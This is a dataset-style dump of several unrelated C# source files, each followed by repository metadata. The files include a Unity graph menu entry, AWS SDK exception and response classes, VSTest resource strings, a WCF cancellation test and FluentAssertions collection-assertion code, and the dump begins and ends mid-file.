where TNode : INode<GraphRuntime<TNode>>
where TNodeComponent: MonoBehaviour, INodeComponent<TNode, TNodeComponent>
{
private readonly IReadOnlyDictionary<NodeId, TNodeComponent> _nodes;
public PrefabNodeCreationMenuEntry(
GraphRuntime<TNode> graphRuntime,
IReadOnlyDictionary<NodeId, TNodeComponent> nodes
) : base(graphRuntime)
{
_nodes = nodes;
}
protected override NodeId CreateNode(Type nodeType, Vector2 position)
{
var nodeId = base.CreateNode(nodeType, position);
_nodes[nodeId].Position = position;
return nodeId;
}
}
}
#endif
| 28.46875 | 98 | 0.669594 |
[
"MIT"
] |
quabug/GraphExt
|
Packages/com.quabug.graph-ext/Backend/Prefab/PrefabNodeCreationMenuEntry.cs
| 911 |
C#
|
namespace CodeGenHero.DataService
{
public interface IHttpCallResultCGHT<T> : IHttpCallResultCGH
{
T Data { get; set; }
}
}
| 18.428571 | 61 | 0.736434 |
[
"MIT"
] |
MSCTek/CodeGenHero
|
src/CodeGenHero.DataService/Interfaces/IHttpCallResultCGHT.cs
| 131 |
C#
|
/*
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
/*
* Do not modify this file. This file is generated from the autoscaling-2011-01-01.normal.json service model.
*/
using System;
using System.Collections.Generic;
using System.Xml.Serialization;
using System.Text;
using System.IO;
using System.Net;
using Amazon.Runtime;
using Amazon.Runtime.Internal;
namespace Amazon.AutoScaling.Model
{
/// <summary>
/// The <code>NextToken</code> value is not valid.
/// </summary>
#if !NETSTANDARD
[Serializable]
#endif
public partial class InvalidNextTokenException : AmazonAutoScalingException
{
/// <summary>
/// Constructs a new InvalidNextTokenException with the specified error
/// message.
/// </summary>
/// <param name="message">
/// Describes the error encountered.
/// </param>
public InvalidNextTokenException(string message)
: base(message) {}
/// <summary>
/// Construct instance of InvalidNextTokenException
/// </summary>
/// <param name="message"></param>
/// <param name="innerException"></param>
public InvalidNextTokenException(string message, Exception innerException)
: base(message, innerException) {}
/// <summary>
/// Construct instance of InvalidNextTokenException
/// </summary>
/// <param name="innerException"></param>
public InvalidNextTokenException(Exception innerException)
: base(innerException) {}
/// <summary>
/// Construct instance of InvalidNextTokenException
/// </summary>
/// <param name="message"></param>
/// <param name="innerException"></param>
/// <param name="errorType"></param>
/// <param name="errorCode"></param>
/// <param name="requestId"></param>
/// <param name="statusCode"></param>
public InvalidNextTokenException(string message, Exception innerException, ErrorType errorType, string errorCode, string requestId, HttpStatusCode statusCode)
: base(message, innerException, errorType, errorCode, requestId, statusCode) {}
/// <summary>
/// Construct instance of InvalidNextTokenException
/// </summary>
/// <param name="message"></param>
/// <param name="errorType"></param>
/// <param name="errorCode"></param>
/// <param name="requestId"></param>
/// <param name="statusCode"></param>
public InvalidNextTokenException(string message, ErrorType errorType, string errorCode, string requestId, HttpStatusCode statusCode)
: base(message, errorType, errorCode, requestId, statusCode) {}
#if !NETSTANDARD
/// <summary>
/// Constructs a new instance of the InvalidNextTokenException class with serialized data.
/// </summary>
/// <param name="info">The <see cref="T:System.Runtime.Serialization.SerializationInfo" /> that holds the serialized object data about the exception being thrown.</param>
/// <param name="context">The <see cref="T:System.Runtime.Serialization.StreamingContext" /> that contains contextual information about the source or destination.</param>
/// <exception cref="T:System.ArgumentNullException">The <paramref name="info" /> parameter is null. </exception>
/// <exception cref="T:System.Runtime.Serialization.SerializationException">The class name is null or <see cref="P:System.Exception.HResult" /> is zero (0). </exception>
protected InvalidNextTokenException(System.Runtime.Serialization.SerializationInfo info, System.Runtime.Serialization.StreamingContext context)
: base(info, context)
{
}
/// <summary>
/// Sets the <see cref="T:System.Runtime.Serialization.SerializationInfo" /> with information about the exception.
/// </summary>
/// <param name="info">The <see cref="T:System.Runtime.Serialization.SerializationInfo" /> that holds the serialized object data about the exception being thrown.</param>
/// <param name="context">The <see cref="T:System.Runtime.Serialization.StreamingContext" /> that contains contextual information about the source or destination.</param>
/// <exception cref="T:System.ArgumentNullException">The <paramref name="info" /> parameter is a null reference (Nothing in Visual Basic). </exception>
#if BCL35
[System.Security.Permissions.SecurityPermission(
System.Security.Permissions.SecurityAction.LinkDemand,
Flags = System.Security.Permissions.SecurityPermissionFlag.SerializationFormatter)]
#endif
[System.Security.SecurityCritical]
// These FxCop rules are giving false-positives for this method
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Security", "CA2123:OverrideLinkDemandsShouldBeIdenticalToBase")]
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Security", "CA2134:MethodsMustOverrideWithConsistentTransparencyFxCopRule")]
public override void GetObjectData(System.Runtime.Serialization.SerializationInfo info, System.Runtime.Serialization.StreamingContext context)
{
base.GetObjectData(info, context);
}
#endif
}
}
| 47.137097 | 178 | 0.68024 |
[
"Apache-2.0"
] |
ChristopherButtars/aws-sdk-net
|
sdk/src/Services/AutoScaling/Generated/Model/InvalidNextTokenException.cs
| 5,845 |
C#
|
using Framework.WebDriver;
using OpenQA.Selenium;
namespace Framework.PageObjects
{
/// <summary>
/// Properties needed to exist for a prent (Driver or othe PageObject)
/// </summary>
public interface IParent
{
ISearchContext SearchContext { get; }
Driver WebDriver { get; }
string WindowHandle { get; set; }
}
}
| 20.277778 | 74 | 0.638356 |
[
"MIT"
] |
OxygeneIV/Vaulting
|
framework/PageObjects/IParent.cs
| 367 |
C#
|
/*
* Copyright 2010-2014 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
/*
* Do not modify this file. This file is generated from the elasticloadbalancing-2012-06-01.normal.json service model.
*/
using System;
using System.Collections.Generic;
using System.Xml.Serialization;
using System.Text;
using System.IO;
using Amazon.Runtime;
using Amazon.Runtime.Internal;
namespace Amazon.ElasticLoadBalancing.Model
{
/// <summary>
/// This is the response object from the EnableAvailabilityZonesForLoadBalancer operation.
/// </summary>
public partial class EnableAvailabilityZonesForLoadBalancerResponse : AmazonWebServiceResponse
{
private List<string> _availabilityZones = new List<string>();
/// <summary>
/// Gets and sets the property AvailabilityZones.
/// <para>
/// The updated list of Availability Zones for the load balancer.
/// </para>
/// </summary>
public List<string> AvailabilityZones
{
get { return this._availabilityZones; }
set { this._availabilityZones = value; }
}
// Check to see if AvailabilityZones property is set
internal bool IsSetAvailabilityZones()
{
return this._availabilityZones != null && this._availabilityZones.Count > 0;
}
}
}
| 33.125 | 118 | 0.685714 |
[
"Apache-2.0"
] |
SaschaHaertel/AmazonAWS
|
sdk/src/Services/ElasticLoadBalancing/Generated/Model/EnableAvailabilityZonesForLoadBalancerResponse.cs
| 1,855 |
C#
|
using System;
using System.Threading;
using NUnit.Framework;
namespace ServiceModel.Cancellation.Internal
{
[TestFixture]
public class CancellableOperationDescriptionTest
{
private static object[] GetTokenCases => new object[]
{
new object[] { null, null },
new object[] { new CancellationTokenProxy(CancellationToken.None), new CancellationTokenProxy(CancellationToken.None) },
new object[] { CancellationToken.None, new CancellationTokenProxy(CancellationToken.None) },
};
// see ClientOperationParameterInspector
private static object[] PassTokenIntoChannelCases => new object[]
{
new object[] { null, null },
new object[] { new CancellationTokenProxy(CancellationToken.None), new CancellationTokenProxy(CancellationToken.None) },
};
private static object[] PassTokenIntoServiceCases => new object[]
{
new object[] { typeof(CancellationTokenProxy?), null, null },
new object[] { typeof(CancellationToken?), null, null },
new object[] { typeof(CancellationTokenProxy), null, default(CancellationTokenProxy) },
new object[] { typeof(CancellationToken), null, default(CancellationToken) },
new object[] { typeof(CancellationTokenProxy), new CancellationTokenProxy(CancellationToken.None), new CancellationTokenProxy(CancellationToken.None) },
new object[] { typeof(CancellationToken), new CancellationTokenProxy(CancellationToken.None), CancellationToken.None },
};
[Test]
[TestCaseSource(typeof(CancellableOperationDescriptionTest), nameof(GetTokenCases))]
public void GetToken(object inputValue, object expected)
{
var operation = new CancellableOperationDescription(1, null, null);
var args = new object[3];
args[1] = inputValue;
Assert.AreEqual(expected, operation.GetToken(args));
}
[Test]
[TestCaseSource(typeof(CancellableOperationDescriptionTest), nameof(PassTokenIntoChannelCases))]
public void PassTokenIntoChannel(CancellationTokenProxy? valueToSet, object expected)
{
var operation = new CancellableOperationDescription(1, null, null);
var args = new object[3];
operation.PassTokenIntoChannel(args, valueToSet);
Assert.AreEqual(expected, args[1]);
}
[Test]
[TestCaseSource(typeof(CancellableOperationDescriptionTest), nameof(PassTokenIntoServiceCases))]
public void PassTokenIntoService(Type tokenType, CancellationTokenProxy? valueToSet, object expected)
{
var operation = new CancellableOperationDescription(1, tokenType, null);
var args = new object[3];
operation.PassTokenIntoService(args, valueToSet);
Assert.AreEqual(expected, args[1]);
}
}
}
| 39.6 | 164 | 0.66532 |
[
"MIT"
] |
max-ieremenko/ServiceModel.Cancellation
|
Sources/ServiceModel.Cancellation.Test/Internal/CancellableOperationDescriptionTest.cs
| 2,972 |
C#
|
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("SQL Format")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("SQL Format")]
[assembly: AssemblyCopyright("Copyright © 2019")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("832405d6-ad9e-46b6-b346-cbd774fcc49d")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.1.0.0")]
[assembly: AssemblyFileVersion("1.1.0.0")]
| 37.513514 | 84 | 0.745677 |
[
"Apache-2.0"
] |
anatoliy-savchak/SQLFormat
|
SQL Format/Properties/AssemblyInfo.cs
| 1,391 |
C#
|
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30319.42000
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace Microsoft.VisualStudio.TestPlatform.Common.Resources {
using System;
/// <summary>
/// A strongly-typed resource class, for looking up localized strings, etc.
/// </summary>
// This class was auto-generated by the StronglyTypedResourceBuilder
// class via a tool like ResGen or Visual Studio.
// To add or remove a member, edit your .ResX file then rerun ResGen
// with the /str option, or rebuild your VS project.
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources {
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources() {
}
/// <summary>
/// Returns the cached ResourceManager instance used by this class.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Microsoft.VisualStudio.TestPlatform.Common.Resources.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
/// <summary>
/// Overrides the current thread's CurrentUICulture property for all
/// resource lookups using this strongly typed resource class.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
get {
return resourceCulture;
}
set {
resourceCulture = value;
}
}
/// <summary>
/// Looks up a localized string similar to Cancelling the operation as requested..
/// </summary>
internal static string CancellationRequested {
get {
return ResourceManager.GetString("CancellationRequested", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Data collection : {0}.
/// </summary>
internal static string DataCollectionMessageFormat {
get {
return ResourceManager.GetString("DataCollectionMessageFormat", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Data collector '{0}' failed to provide initialization information. Error: {1}.
/// </summary>
internal static string DataCollectorErrorOnGetVariable {
get {
return ResourceManager.GetString("DataCollectorErrorOnGetVariable", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Data collector '{0}' threw an exception during type loading, construction, or initialization: {1}..
/// </summary>
internal static string DataCollectorInitializationError {
get {
return ResourceManager.GetString("DataCollectorInitializationError", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Data collector '{0}' message: {1}..
/// </summary>
internal static string DataCollectorMessageFormat {
get {
return ResourceManager.GetString("DataCollectorMessageFormat", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Could not find data collector '{0}'.
/// </summary>
internal static string DataCollectorNotFound {
get {
return ResourceManager.GetString("DataCollectorNotFound", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to The data collector '{0}' requested environment variable '{1}' with value '{2}' to be set in test execution environment, but another data collector '{3}' has already requested same environment variable with different value '{4}'..
/// </summary>
internal static string DataCollectorRequestedDuplicateEnvironmentVariable {
get {
return ResourceManager.GetString("DataCollectorRequestedDuplicateEnvironmentVariable", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Duplicate test extension URI '{0}'. Ignoring the duplicate extension..
/// </summary>
internal static string DuplicateExtensionUri {
get {
return ResourceManager.GetString("DuplicateExtensionUri", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Duplicate settings provider named '{0}'. Ignoring the duplicate provider..
/// </summary>
internal static string DuplicateSettingsName {
get {
return ResourceManager.GetString("DuplicateSettingsName", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Duplicate run settings section named '{0}' found. Ignoring the duplicate settings..
/// </summary>
internal static string DuplicateSettingsProvided {
get {
return ResourceManager.GetString("DuplicateSettingsProvided", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Error: Empty parenthesis ( ).
/// </summary>
internal static string EmptyParenthesis {
get {
return ResourceManager.GetString("EmptyParenthesis", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Failed to find the list of installed unit test extensions. Reason: {0}.
/// </summary>
internal static string FailedToFindInstalledUnitTestExtensions {
get {
return ResourceManager.GetString("FailedToFindInstalledUnitTestExtensions", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Failed to load extensions from file '{0}'. Please use /diag for more information..
/// </summary>
internal static string FailedToLoadAdapaterFile {
get {
return ResourceManager.GetString("FailedToLoadAdapaterFile", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to An error occurred while creating Fast filter..
/// </summary>
internal static string FastFilterException {
get {
return ResourceManager.GetString("FastFilterException", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to There are multiple configurations that have data collector FriendlyName as '{0}'. Duplicate configurations will be ignored in the test run..
/// </summary>
internal static string IgnoredDuplicateConfiguration {
get {
return ResourceManager.GetString("IgnoredDuplicateConfiguration", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Error: Invalid Condition '{0}'.
/// </summary>
internal static string InvalidCondition {
get {
return ResourceManager.GetString("InvalidCondition", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Test Extension has an invalid URI '{0}': {1}.
/// </summary>
internal static string InvalidExtensionUriFormat {
get {
return ResourceManager.GetString("InvalidExtensionUriFormat", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Error: Invalid operator '{0}'.
/// </summary>
internal static string InvalidOperator {
get {
return ResourceManager.GetString("InvalidOperator", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Exception occurred while initializing logger with {0}: '{1}'. The logger will not be used. Exception: {2}.
/// </summary>
internal static string LoggerInitializationError {
get {
return ResourceManager.GetString("LoggerInitializationError", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Could not find a test logger with AssemblyQualifiedName, URI or FriendlyName '{0}'..
/// </summary>
internal static string LoggerNotFound {
get {
return ResourceManager.GetString("LoggerNotFound", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to The Test Logger URI '{0}' is not valid. The Test Logger will be ignored..
/// </summary>
internal static string LoggerUriInvalid {
get {
return ResourceManager.GetString("LoggerUriInvalid", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Error: Missing ')'.
/// </summary>
internal static string MissingCloseParenthesis {
get {
return ResourceManager.GetString("MissingCloseParenthesis", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Error: Missing '('.
/// </summary>
internal static string MissingOpenParenthesis {
get {
return ResourceManager.GetString("MissingOpenParenthesis", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Error: Missing operand.
/// </summary>
internal static string MissingOperand {
get {
return ResourceManager.GetString("MissingOperand", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Missing Operator '|' or '&'.
/// </summary>
internal static string MissingOperator {
get {
return ResourceManager.GetString("MissingOperator", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Data collector caught an exception of type '{0}': '{1}'. More details: {2}..
/// </summary>
internal static string ReportDataCollectorException {
get {
return ResourceManager.GetString("ReportDataCollectorException", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to The Run Settings have already been loaded..
/// </summary>
internal static string RunSettingsAlreadyLoaded {
get {
return ResourceManager.GetString("RunSettingsAlreadyLoaded", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to An error occurred while loading the run settings. Error: {0}.
/// </summary>
internal static string RunSettingsParseError {
get {
return ResourceManager.GetString("RunSettingsParseError", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Invalid settings node specified. The name property of the settings node must be non-empty..
/// </summary>
internal static string SettingsNodeInvalidName {
get {
return ResourceManager.GetString("SettingsNodeInvalidName", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to An error occurred while initializing the settings provider named '{0}'. Error: {1}.
/// </summary>
internal static string SettingsProviderInitializationError {
get {
return ResourceManager.GetString("SettingsProviderInitializationError", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Settings Provider named '{0}' was not found. The settings can not be loaded..
/// </summary>
internal static string SettingsProviderNotFound {
get {
return ResourceManager.GetString("SettingsProviderNotFound", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Incorrect format for TestCaseFilter {0}. Specify the correct format and try again. Note that the incorrect format can lead to no test getting executed..
/// </summary>
internal static string TestCaseFilterFormatException {
get {
return ResourceManager.GetString("TestCaseFilterFormatException", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Unable to find a datacollector with friendly name '{0}'..
/// </summary>
internal static string UnableToFetchUriString {
get {
return ResourceManager.GetString("UnableToFetchUriString", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to This option works only with vstest.console.exe installed as part of Visual Studio..
/// </summary>
internal static string VSInstallationNotFound {
get {
return ResourceManager.GetString("VSInstallationNotFound", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Types deriving from the data collection context cannot be used for sending data and messages. The DataCollectionContext used for sending data and messages must come from one of the events raised to the data collector..
/// </summary>
internal static string WrongDataCollectionContextType {
get {
return ResourceManager.GetString("WrongDataCollectionContextType", resourceCulture);
}
}
}
}
| 42.997361 | 332 | 0.590697 |
[
"MIT"
] |
ChadNedzlek/vstest
|
src/Microsoft.TestPlatform.Common/Resources/Resources.Designer.cs
| 16,298 |
C#
|
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class CustomLight : MonoBehaviour
{
float range = 0.025f;
Vector2 startingScale;
void Start()
{
startingScale = transform.localScale;
transform.localPosition = Vector2.zero;
}
// Update is called once per frame
void Update()
{
transform.localScale = startingScale + new Vector2(Random.Range(-range, range), Random.Range(-range, range));
}
}
| 22.318182 | 117 | 0.674134 |
[
"MIT"
] |
SynysterRev/ProjetNoob
|
ProjetNoob/Assets/Scripts/CustomLight.cs
| 493 |
C#
|
using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using FluentAssertions.Common;
using FluentAssertions.Equivalency;
using FluentAssertions.Execution;
using FluentAssertions.Primitives;
namespace FluentAssertions.Collections
{
/// <summary>
/// Contains a number of methods to assert that an <see cref="IEnumerable"/> is in the expected state.
/// </summary>
public abstract class CollectionAssertions<TSubject, TAssertions> : ReferenceTypeAssertions<TSubject, TAssertions>
where TSubject : IEnumerable
where TAssertions : CollectionAssertions<TSubject, TAssertions>
{
protected CollectionAssertions(TSubject subject)
: base(subject)
{
}
/// <summary>
/// Asserts that the collection does not contain any items.
/// </summary>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> BeEmpty(string because = "", params object[] becauseArgs)
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.WithExpectation("Expected {context:collection} to be empty{reason}, ")
.ForCondition(!ReferenceEquals(Subject, null))
.FailWith("but found {0}.", Subject)
.Then
.Given(() => Subject.Cast<object>())
.ForCondition(collection => !collection.Any())
.FailWith("but found {0}.", collection => collection)
.Then
.ClearExpectation();
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Asserts that the collection contains at least 1 item.
/// </summary>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> NotBeEmpty(string because = "", params object[] becauseArgs)
{
if (ReferenceEquals(Subject, null))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} not to be empty{reason}, but found {0}.", Subject);
}
IEnumerable<object> enumerable = Subject.Cast<object>();
Execute.Assertion
.ForCondition(enumerable.Any())
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} not to be empty{reason}.");
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Asserts that the collection is null or does not contain any items.
/// </summary>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> BeNullOrEmpty(string because = "", params object[] becauseArgs)
{
var nullOrEmpty = ReferenceEquals(Subject, null) || !Subject.Cast<object>().Any();
Execute.Assertion.ForCondition(nullOrEmpty)
.BecauseOf(because, becauseArgs)
.FailWith(
"Expected {context:collection} to be null or empty{reason}, but found {0}.",
Subject);
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Asserts that the collection is not null and contains at least 1 item.
/// </summary>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> NotBeNullOrEmpty(string because = "", params object[] becauseArgs)
{
return NotBeNull(because, becauseArgs)
.And.NotBeEmpty(because, becauseArgs);
}
/// <summary>
/// Asserts that the collection does not contain any duplicate items.
/// </summary>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> OnlyHaveUniqueItems(string because = "", params object[] becauseArgs)
{
if (ReferenceEquals(Subject, null))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} to only have unique items{reason}, but found {0}.", Subject);
}
IEnumerable<object> groupWithMultipleItems = Subject.Cast<object>()
.GroupBy(o => o)
.Where(g => g.Count() > 1)
.Select(g => g.Key);
if (groupWithMultipleItems.Any())
{
if (groupWithMultipleItems.Count() > 1)
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} to only have unique items{reason}, but items {0} are not unique.",
groupWithMultipleItems);
}
else
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} to only have unique items{reason}, but item {0} is not unique.",
groupWithMultipleItems.First());
}
}
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Asserts that the collection does not contain any <c>null</c> items.
/// </summary>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> NotContainNulls(string because = "", params object[] becauseArgs)
{
if (ReferenceEquals(Subject, null))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} not to contain <null>s{reason}, but collection is <null>.");
}
int[] indices = Subject
.Cast<object>()
.Select((item, index) => new { Item = item, Index = index })
.Where(e => e.Item is null)
.Select(e => e.Index)
.ToArray();
if (indices.Length > 0)
{
if (indices.Length > 1)
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} not to contain <null>s{reason}, but found several at indices {0}.", indices);
}
else
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} not to contain <null>s{reason}, but found one at index {0}.", indices[0]);
}
}
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Expects the current collection to contain all the same elements in the same order as the collection identified by
/// <paramref name="elements" />. Elements are compared using their <see cref="object.Equals(object)" />.
/// </summary>
/// <param name="elements">A params array with the expected elements.</param>
public AndConstraint<TAssertions> Equal(params object[] elements)
{
return Equal(elements, string.Empty);
}
/// <summary>
/// Expects the current collection to contain all the same elements in the same order as the collection identified by
/// <paramref name="expected" />. Elements are compared using their <see cref="object.Equals(object)" />.
/// </summary>
/// <param name="expected">An <see cref="IEnumerable"/> with the expected elements.</param>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> Equal(IEnumerable expected, string because = "", params object[] becauseArgs)
{
AssertSubjectEquality<object, object>(expected, (s, e) => s.IsSameOrEqualTo(e), because, becauseArgs);
return new AndConstraint<TAssertions>((TAssertions)this);
}
protected void AssertSubjectEquality<TActual, TExpected>(IEnumerable expectation, Func<TActual, TExpected, bool> equalityComparison,
string because = "", params object[] becauseArgs)
{
Guard.ThrowIfArgumentIsNull(equalityComparison, nameof(equalityComparison));
bool subjectIsNull = ReferenceEquals(Subject, null);
bool expectationIsNull = expectation is null;
if (subjectIsNull && expectationIsNull)
{
return;
}
Guard.ThrowIfArgumentIsNull(expectation, nameof(expectation), "Cannot compare collection with <null>.");
ICollection<TExpected> expectedItems = expectation.ConvertOrCastToCollection<TExpected>();
AssertionScope assertion = Execute.Assertion.BecauseOf(because, becauseArgs);
if (subjectIsNull)
{
assertion.FailWith("Expected {context:collection} to be equal to {0}{reason}, but found <null>.", expectedItems);
}
assertion
.WithExpectation("Expected {context:collection} to be equal to {0}{reason}, ", expectedItems)
.Given(() => Subject.ConvertOrCastToCollection<TActual>())
.AssertCollectionsHaveSameCount(expectedItems.Count)
.Then
.AssertCollectionsHaveSameItems(expectedItems, (a, e) => a.IndexOfFirstDifferenceWith(e, equalityComparison))
.Then
.ClearExpectation();
}
/// <summary>
/// Expects the current collection not to contain all the same elements in the same order as the collection identified by
/// <paramref name="unexpected" />. Elements are compared using their <see cref="object.Equals(object)" />.
/// </summary>
/// <param name="unexpected">An <see cref="IEnumerable"/> with the elements that are not expected.</param>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> NotEqual(IEnumerable unexpected, string because = "", params object[] becauseArgs)
{
if (ReferenceEquals(Subject, null))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected collections not to be equal{reason}, but found <null>.");
}
